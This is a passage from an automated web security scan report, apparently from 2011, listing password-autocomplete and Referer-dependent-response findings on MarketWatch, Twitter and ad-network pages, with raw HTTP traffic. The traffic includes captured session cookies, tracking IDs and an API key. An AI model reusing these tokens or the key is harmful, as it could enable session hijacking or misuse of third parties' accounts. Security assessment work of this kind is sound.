Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_c=w%3A1%7Cb%3A2%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_cc=true; s_vnum=1307959980006%26vn%3D1; refresh=off; rsi_csl=; rsi_segs=; BIZO=biz=1053&; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response

16.48. http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12

Issue detail

The page contains a form with the following action URL:

https://secure.marketwatch.com/user/account/logon

The form contains the following password field with autocomplete enabled:

password

Request

GET /story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_c=w%3A1%7Cb%3A2%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_cc=true; s_vnum=1307959980006%26vn%3D1; refresh=off; rsi_csl=; rsi_segs=; BIZO=biz=1053&; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response

16.49. http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12

Issue detail

The page contains a form with the following action URL:

https://secure.marketwatch.com/user/account/logon

The form contains the following password field with autocomplete enabled:

password

Request

GET /story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_c=w%3A1%7Cb%3A2%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_cc=true; s_vnum=1307959980006%26vn%3D1; refresh=off; rsi_csl=; rsi_segs=; BIZO=biz=1053&; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response

17. Referer-dependent response previous next
There are 9 instances of this issue:

http://api.bizographics.com/v1/profile.json
http://api.twitter.com/1/statuses/user_timeline.json
http://fls.doubleclick.net/activityi
http://pubads.g.doubleclick.net/gampad/ads
http://twitter.com/WSJHouse
http://use.typekit.com/k/uhh2the-e.css
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/widgets/recommendations.php

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defences are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.

17.1. http://api.bizographics.com/v1/profile.json previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://api.bizographics.com
Path:	/v1/profile.json

Request 1

GET /v1/profile.json?&callback=dj.module.ad.bio.loadBizoData&api_key=r9t72482usanbp6sphprhvun HTTP/1.1
Host: api.bizographics.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

Request 2

GET /v1/profile.json?&callback=dj.module.ad.bio.loadBizoData&api_key=r9t72482usanbp6sphprhvun HTTP/1.1
Host: api.bizographics.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 403 Forbidden
Cache-Control: no-cache
Content-Type: text/plain
Date: Sat, 14 May 2011 10:09:30 GMT
P3P: CP="NON DSP COR CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM"
Pragma: no-cache
Server: nginx/0.7.61
Content-Length: 21
Connection: keep-alive

Unknown Referer: null

17.2. http://api.twitter.com/1/statuses/user_timeline.json previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://api.twitter.com
Path:	/1/statuses/user_timeline.json

Request 1

Response 1

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:59:06 GMT
Server: hi
Status: 200 OK
X-Transaction: 1305370746-84842-41544
X-RateLimit-Limit: 1000
ETag: "1ac9a4eed5f6e566d08b045b8749c0d9"-gzip
X-Frame-Options: SAMEORIGIN
Last-Modified: Sat, 14 May 2011 10:59:06 GMT
X-RateLimit-Remaining: 695
X-Runtime: 0.01926
X-Transaction-Mask: a6183ffa5f8ca943ff1b53b5644ef114be3e990c
Content-Type: application/json; charset=utf-8
Pragma: no-cache
X-RateLimit-Class: api_phoenix
X-Revision: DEV
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
X-MID: 23407667367d7c17a31b0a20d7aec4ec71169889
X-RateLimit-Reset: 1305372557
Set-Cookie: original_referer=JbKFAfGwv4RwApvTLqS%2BuSg2nN6n6Sc2FNg%2B%2FJZdApHOHiilCO8gnQ%3D%3D; path=/
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: _twitter_sess=BAh7CToPY3JlYXRlZF9hdGwrCN5zDe4vAToMY3NyZl9pZCIlYWM1YmY4MDQz%250AZTBmM2ZjNjEwY2JjNWVhMTc3YzFlNTA6B2lkIiVkYWRmNDJhZTBkOTc0ZTVm%250AY2ZhMjc5OTY5YmVjYTdiZiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6%250ARmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA%253D%253D--17a095ab0ba49a89ec6ba122b48410385d145395; domain=.twitter.com; path=/; HttpOnly
Vary: Accept-Encoding
Connection: close
Content-Length: 39457

{"statuses":[{"text":"Costa Blanca Home http:\/\/on.wsj.com\/dO9oK5","created_at":"Mon Mar 28 17:47:18 +0000 2011","favorited":false,"retweet_count":0,"in_reply_to_status_id":null,"in_reply_to_screen_name":null,"in_reply_to_status_id_str":null,"source":"\u003Ca href=\"http:\/\/twitterfeed.com\" rel=\"nofollow\"\u003Etwitterfeed\u003C\/a\u003E","contributors":null,"retweeted":false,"in_reply_to_user_id_str":null,"entities":{"hashtags":[],"urls":[{"indices":[18,42],"expanded_url":null,"url":"http:\/\/on.wsj.com\/dO9oK5"}],"user_mentions":[]},"id_str":"52426551261798400","place":null,"coordinates":null,"geo":null,"user":{"notifications":null,"created_at":"Mon Mar 07 21:09:01 +0000 2011","default_profile":false,"show_all_inline_media":false,"following":null,"geo_enabled":false,"time_zone":null,"profile_link_color":"009999","description":"Featured homes from The Wall Street Journal's real-estate coverage.","profile_sidebar_border_color":"eeeeee","profile_image_url":"http:\/\/a0.twimg.com\/profile_images\/1267227706\/hotdavatar_normal.png","default_profile_image":false,"contributors_enabled":false,"statuses_count":42,"profile_use_background_image":true,"screen_name":"WSJHouse","verified":false,"profile_background_color":"131516","follow_request_sent":null,"profile_background_image_url":"http:\/\/a2.twimg.com\/images\/themes\/theme14\/bg.gif","favourites_count":0,"friends_count":0,"lang"
...[SNIP]...

Request 2

GET /1/statuses/user_timeline.json?include_entities=1&include_available_features=1&contributor_details=true&include_rts=true&user_id=262332369 HTTP/1.1
Host: api.twitter.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*
X-PHX: true
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: k=173.193.214.243.1305305564166059; guest_id=130530556419951159; __utmz=43838368.1305368954.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=43838368.1598605414.1305368954.1305368954.1305368954.1; __utmc=43838368; __utmb=43838368.2.10.1305368954; _twitter_sess=BAh7CToPY3JlYXRlZF9hdGwrCN5zDe4vAToMY3NyZl9pZCIlYWM1YmY4MDQz%250AZTBmM2ZjNjEwY2JjNWVhMTc3YzFlNTAiCmZsYXNoSUM6J0FjdGlvbkNvbnRy%250Ab2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA6B2lkIiVkYWRm%250ANDJhZTBkOTc0ZTVmY2ZhMjc5OTY5YmVjYTdiZg%253D%253D--1d8040b8314f051f527cc09828e06b740baadb22

Response 2

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:59:14 GMT
Server: hi
Status: 200 OK
X-Transaction: 1305370754-21971-26209
X-RateLimit-Limit: 1000
ETag: "60ff6d60aa097f0c3c9372a01cc73717"-gzip
X-Frame-Options: SAMEORIGIN
Last-Modified: Sat, 14 May 2011 10:59:14 GMT
X-RateLimit-Remaining: 594
X-Runtime: 0.01847
X-Transaction-Mask: a6183ffa5f8ca943ff1b53b5644ef114be3e990c
Content-Type: application/json; charset=utf-8
Pragma: no-cache
X-RateLimit-Class: api_phoenix
X-Revision: DEV
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
X-MID: fedceb7c71cc52a430b597ce618407b0818cf11a
X-RateLimit-Reset: 1305372557
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: _twitter_sess=BAh7CToPY3JlYXRlZF9hdGwrCN5zDe4vAToMY3NyZl9pZCIlYWM1YmY4MDQz%250AZTBmM2ZjNjEwY2JjNWVhMTc3YzFlNTA6B2lkIiVkYWRmNDJhZTBkOTc0ZTVm%250AY2ZhMjc5OTY5YmVjYTdiZiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6%250ARmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA%253D%253D--17a095ab0ba49a89ec6ba122b48410385d145395; domain=.twitter.com; path=/; HttpOnly
Vary: Accept-Encoding
Connection: close
Content-Length: 39457

{"statuses":[{"text":"Costa Blanca Home http:\/\/on.wsj.com\/dO9oK5","created_at":"Mon Mar 28 17:47:18 +0000 2011","favorited":false,"retweet_count":0,"in_reply_to_status_id":null,"in_reply_to_screen_name":null,"in_reply_to_status_id_str":null,"source":"\u003Ca href=\"http:\/\/twitterfeed.com\" rel=\"nofollow\"\u003Etwitterfeed\u003C\/a\u003E","contributors":null,"retweeted":false,"in_reply_to_user_id_str":null,"entities":{"hashtags":[],"urls":[{"indices":[18,42],"expanded_url":null,"url":"http:\/\/on.wsj.com\/dO9oK5"}],"user_mentions":[]},"id_str":"52426551261798400","place":null,"coordinates":null,"geo":null,"user":{"notifications":null,"created_at":"Mon Mar 07 21:09:01 +0000 2011","default_profile":false,"show_all_inline_media":false,"following":null,"geo_enabled":false,"time_zone":null,"profile_link_color":"009999","description":"Featured homes from The Wall Street Journal's real-estate coverage.","profile_sidebar_border_color":"eeeeee","profile_image_url":"http:\/\/a0.twimg.com\/profile_images\/1267227706\/hotdavatar_normal.png","default_profile_image":false,"contributors_enabled":false,"statuses_count":42,"profile_use_background_image":true,"screen_name":"WSJHouse","verified":false,"profile_background_color":"131516","follow_request_sent":null,"profile_background_image_url":"http:\/\/a2.twimg.com\/images\/themes\/theme14\/bg.gif","favourites_count":0,"friends_count":0,"lang":"en","protected":false,"location":"","id_str":"262332369","profile_text_color":"333333","name":"House of
...[SNIP]...

17.3. http://fls.doubleclick.net/activityi previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://fls.doubleclick.net
Path:	/activityi

Request 1

Response 1

Request 2

GET /activityi;src=490793;type=healt926;cat=wsjco604;ord=3566157207824.29? HTTP/1.1
Host: fls.doubleclick.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 302 Found
Set-Cookie: test_cookie=CheckForPermission; expires=Sat, 14-May-2011 10:24:37 GMT; path=/; domain=.doubleclick.net
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Date: Sat, 14 May 2011 10:09:37 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, must-revalidate
Location: /activityi;src=490793;type=healt926;cat=wsjco604;ord=3566157207824.29?&_dc_ck=try
Content-Type: text/html; charset=UTF-8
Server: Floodlight server
Content-Length: 282
X-XSS-Protection: 1; mode=block

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="/activityi;src=490793;type=healt926;cat=wsjco604;ord=3566157207824.29?&_dc_ck=try">here</A>.
</BODY></HTML>

17.4. http://pubads.g.doubleclick.net/gampad/ads previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://pubads.g.doubleclick.net
Path:	/gampad/ads

Request 1

GET /gampad/ads?correlator=1305368037977&output=json_html&callback=GA_googleSetAdContentsBySlotForSync&impl=s&client=ca-pub-4533421461361672&slotname=smartmoney-ce&page_slots=smartmoney-ce&cookie_enabled=1&cdm=smartmoney.onespot.com&lmt=1304049762&dt=1305368037977&biw=-12245933&bih=-12245933&ifi=1&ifk=669749644&adk=189737827&u_tz=-300&u_his=3&u_java=true&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=32&u_nplug=9&u_nmime=45&flash=10.3.181&gads=v2&ga_vid=75208135.1305368038&ga_sid=1305368038&ga_hid=1852069427 HTTP/1.1
Host: pubads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://smartmoney.onespot.com/static/nextclick/content_exchange.html?layout=vertical
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response 1

HTTP/1.1 200 OK
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/javascript; charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 14 May 2011 10:23:06 GMT
Server: cafe
Cache-Control: private
X-XSS-Protection: 1; mode=block
Content-Length: 3596

GA_googleSetAdContentsBySlotForSync({"smartmoney-ce":{"_type_":"html","_expandable_":true,"_html_":"\x3cdiv class=\"gam_creative\" data-document-id=\"8f0ef2cfa3119b8ba23c98e60c4030e026e6710a\" data-name=\"Toshiba Profit Doubles on Low Restructuring Costs\" data-published-date=\"2011-05-09\" data-redirect-href=\"http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBWZIVCljOTZzqL4yGlgeZ6NW2AaqUvd0BAAAAEAEgxO_2DzgAWKqA98IcYMmGhYmIpIQQsgEWc21hcnRtb25leS5vbmVzcG90LmNvbboBCWdmcF9pbWFnZcgBCdoBVGh0dHA6Ly9zbWFydG1vbmV5Lm9uZXNwb3QuY29tL3N0YXRpYy9uZXh0Y2xpY2svY29udGVudF9leGNoYW5nZS5odG1sP2xheW91dD12ZXJ0aWNhbMACAuACAOoCDXNtYXJ0bW9uZXktY2X4AvDRHoADAZADpAOYA6QDqAMB4AQB%26num%3D0%26sig%3DAGiWqtwdK1-TJKfFFGRrOYwkNxi1VAwWwQ%26client%3Dca-pub-4533421461361672%26adurl%3Dhttp://online.wsj.com/article/SB10001424052748703864204576312420249888978.html?mod=rss_whats_news_us\x26amp;utm_source=feedburner\x26amp;utm_medium=feed\x26amp;utm_campaign=Feed%3A+wsj%2Fxml%2Frss%2F3_7011+%28WSJ.com%3A+What%27s+News+US%29\"\x3e\n \x3cdiv class=\"horizontal\"\x3e\n \x3ca href=\"http://online.wsj.com/article/SB10001424052748703864204576312420249888978.html?mod=rss_whats_news_us\x26amp;utm_source=feedburner\x26amp;utm_medium=feed\x26amp;utm_campaign=Feed%3A+wsj%2Fxml%2Frss%2F3_7011+%28WSJ.com%3A+What%27s+News+US%29\" class=\"thumb\"\x3e\x3cspan\x3e\x3c/span\x3e\x3cimg src=\"http://image.onespot.com/t/20110511/a98ff1237227cc35a01cb26fff489941856c67de/90x90-1080.jpeg\" alt=\"Toshiba Profit Doubles on Low Restructuring Costs\" title=\"Toshiba Profit Doubles on Low Restructuring Costs\" width=\"90\" height=\"90\"\x3e\x3c/a\x3e\n \x3ch3\x3e\x3ca href=\"http://online.wsj.com/article/SB10001424052748703864204576312420249888978.html?mod=rss_whats_news_us\x26amp;utm_source=feedburner\x26amp;utm_medium=feed\x26amp;utm_campaign=Feed%3A+wsj%2Fxml%2Frss%2F3_7011+%28WSJ.com%3A+What%27s+News+US%29\"\x3eToshiba Profit Doubles on Low Restructuring Costs\x3c/a\x3e\x3c/h3\x3e\n \x3ccite\x3e\x3ca href=\"http://online.wsj.com\"\x3eThe Wall Street Journal.\x3c/a\x3e\x3c/cite\x3e\n \x3c/div\x3e\n \x3cdiv class=\"vertical\"\x3e\n \x3ca href=\"http://online.wsj.com/article/SB10001424052748703864204576312420249888978.html?mod=rss_whats_news_us\x26amp;utm_source=feedburner\x26amp;utm_medium=feed\x26amp;utm_campaign=Feed%3A+wsj%2Fxml%2
...[SNIP]...

Request 2

GET /gampad/ads?correlator=1305368037977&output=json_html&callback=GA_googleSetAdContentsBySlotForSync&impl=s&client=ca-pub-4533421461361672&slotname=smartmoney-ce&page_slots=smartmoney-ce&cookie_enabled=1&cdm=smartmoney.onespot.com&lmt=1304049762&dt=1305368037977&biw=-12245933&bih=-12245933&ifi=1&ifk=669749644&adk=189737827&u_tz=-300&u_his=3&u_java=true&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=32&u_nplug=9&u_nmime=45&flash=10.3.181&gads=v2&ga_vid=75208135.1305368038&ga_sid=1305368038&ga_hid=1852069427 HTTP/1.1
Host: pubads.g.doubleclick.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response 2

HTTP/1.1 200 OK
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/javascript; charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 14 May 2011 10:24:23 GMT
Server: cafe
Cache-Control: private
X-XSS-Protection: 1; mode=block
Content-Length: 3447

GA_googleSetAdContentsBySlotForSync({"smartmoney-ce":{"_type_":"html","_expandable_":true,"_html_":"\x3cdiv class=\"gam_creative\" data-document-id=\"8f0ef2cfa3119b8ba23c98e60c4030e026e6710a\" data-name=\"Toshiba Profit Doubles on Low Restructuring Costs\" data-published-date=\"2011-05-09\" data-redirect-href=\"http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBeC90V1jOTbm6MKGblAer6KG9AaqUvd0BAAAAEAEgxO_2DzgAWKqA98IcYMmGhYmIpIQQugEJZ2ZwX2ltYWdlyAEJwAIC4AIA6gINc21hcnRtb25leS1jZfgC8NEegAMBkAOkA5gDpAOoAwHgBAE%26num%3D0%26sig%3DAGiWqtyMfw3S-IM6ARlQEjXotelx0_LO9A%26client%3Dca-pub-4533421461361672%26adurl%3Dhttp://online.wsj.com/article/SB10001424052748703864204576312420249888978.html?mod=rss_whats_news_us\x26amp;utm_source=feedburner\x26amp;utm_medium=feed\x26amp;utm_campaign=Feed%3A+wsj%2Fxml%2Frss%2F3_7011+%28WSJ.com%3A+What%27s+News+US%29\"\x3e\n \x3cdiv class=\"horizontal\"\x3e\n \x3ca href=\"http://online.wsj.com/article/SB10001424052748703864204576312420249888978.html?mod=rss_whats_news_us\x26amp;utm_source=feedburner\x26amp;utm_medium=feed\x26amp;utm_campaign=Feed%3A+wsj%2Fxml%2Frss%2F3_7011+%28WSJ.com%3A+What%27s+News+US%29\" class=\"thumb\"\x3e\x3cspan\x3e\x3c/span\x3e\x3cimg src=\"http://image.onespot.com/t/20110511/a98ff1237227cc35a01cb26fff489941856c67de/90x90-1080.jpeg\" alt=\"Toshiba Profit Doubles on Low Restructuring Costs\" title=\"Toshiba Profit Doubles on Low Restructuring Costs\" width=\"90\" height=\"90\"\x3e\x3c/a\x3e\n \x3ch3\x3e\x3ca href=\"http://online.wsj.com/article/SB10001424052748703864204576312420249888978.html?mod=rss_whats_news_us\x26amp;utm_source=feedburner\x26amp;utm_medium=feed\x26amp;utm_campaign=Feed%3A+wsj%2Fxml%2Frss%2F3_7011+%28WSJ.com%3A+What%27s+News+US%29\"\x3eToshiba Profit Doubles on Low Restructuring Costs\x3c/a\x3e\x3c/h3\x3e\n \x3ccite\x3e\x3ca href=\"http://online.wsj.com\"\x3eThe Wall Street Journal.\x3c/a\x3e\x3c/cite\x3e\n \x3c/div\x3e\n \x3cdiv class=\"vertical\"\x3e\n \x3ca href=\"http://online.wsj.com/article/SB10001424052748703864204576312420249888978.html?mod=rss_whats_news_us\x26amp;utm_source=feedburner\x26amp;utm_medium=feed\x26amp;utm_campaign=Feed%3A+wsj%2Fxml%2Frss%2F3_7011+%28WSJ.com%3A+What%27s+News+US%29\" class=\"thumb\"\x3e\x3cspan\x3e\x3c/span\x3e\x3cimg src=\"http://image.onespot.com/t/20110511/a98ff
...[SNIP]...

17.5. http://twitter.com/WSJHouse previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://twitter.com
Path:	/WSJHouse

Request 1

Response 1

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:57:25 GMT
Server: hi
Status: 200 OK
X-Transaction: 1305370645-66519-19922
ETag: "f56346da1d6f43d8be0a943b36cb2b29"-gzip
X-Frame-Options: SAMEORIGIN
Last-Modified: Sat, 14 May 2011 10:57:25 GMT
X-Runtime: 0.00943
Content-Type: text/html; charset=utf-8
Pragma: no-cache
X-Revision: DEV
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
X-MID: 80ebc26013b4dbbcc6a2daa6f1a2a8c6ce869855
Set-Cookie: guest_id=130537064543069400; path=/; expires=Mon, 13 Jun 2011 10:57:25 GMT
Set-Cookie: original_referer=Vs%2BEmu1btvtijeAp0as8odTqICjT%2F%2Fddzu%2BIl%2BDmq8wqvfcyN8Q%2B%2BVzJuvqyxEy5DyZjyYsh4Cm3aLUWk8ue%2FHRNWBcQaHm3uqLcVkjIW0M%3D; path=/
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCLhTJ%252B4vAToHaWQiJTcwYWI2MmRlOGI2ZGY1%250AMzJiNzdhNmU2OGIxNGZhMTM4IgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--2b1e55779b4d11dd28207ff59cfb0058e005de6e; domain=.twitter.com; path=/; HttpOnly
X-XSS-Protection: 1; mode=block
Vary: Accept-Encoding
Connection: close
Content-Length: 37552

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">

<script type="text/javascript">
//<![CDATA[
window.location.replace('/#!/WSJHouse');
//]]>
</script>
<script type="text/javascript">
//<![CDATA[
(function(g){var c=g.location.href.split("#!");if(c[1]){g.location.replace(g.HBR = (c[0].replace(/\/*$/, "") + "/" + c[1].replace(/^\/*/, "")));}else return true})(window);
//]]>
</script>
<script type="text/javascript" charset="utf-8">
if (!twttr) {
var twttr = {}
}

// Benchmarking load time.
// twttr.timeTillReadyUnique = '1305358423-61626-31876';
// twttr.timeTillReadyStart = new Date().getTime();
</script>

<script type="text/javascript">
//<![CDATA[
var page={};var onCondition=function(D,C,A,B){D=D;A=A?Math.min(A,5):5;B=B||100;if(D()){C()}else{if(A>1){setTimeout(function(){onCondition(D,C,A-1,B)},B)}}};
//]]>
</script>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<meta content="en-us" http-equiv="Content-Language" />
<meta content="House of the Day (WSJHouse) is on Twitter. Sign up for Tw
...[SNIP]...

Request 2

GET /WSJHouse HTTP/1.1
Host: twitter.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: k=173.193.214.243.1305305564166059

Response 2

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:57:29 GMT
Server: hi
Status: 200 OK
X-Transaction: 1305370649-23140-59006
ETag: "f56346da1d6f43d8be0a943b36cb2b29"-gzip
X-Frame-Options: SAMEORIGIN
Last-Modified: Sat, 14 May 2011 10:57:29 GMT
X-Runtime: 0.00826
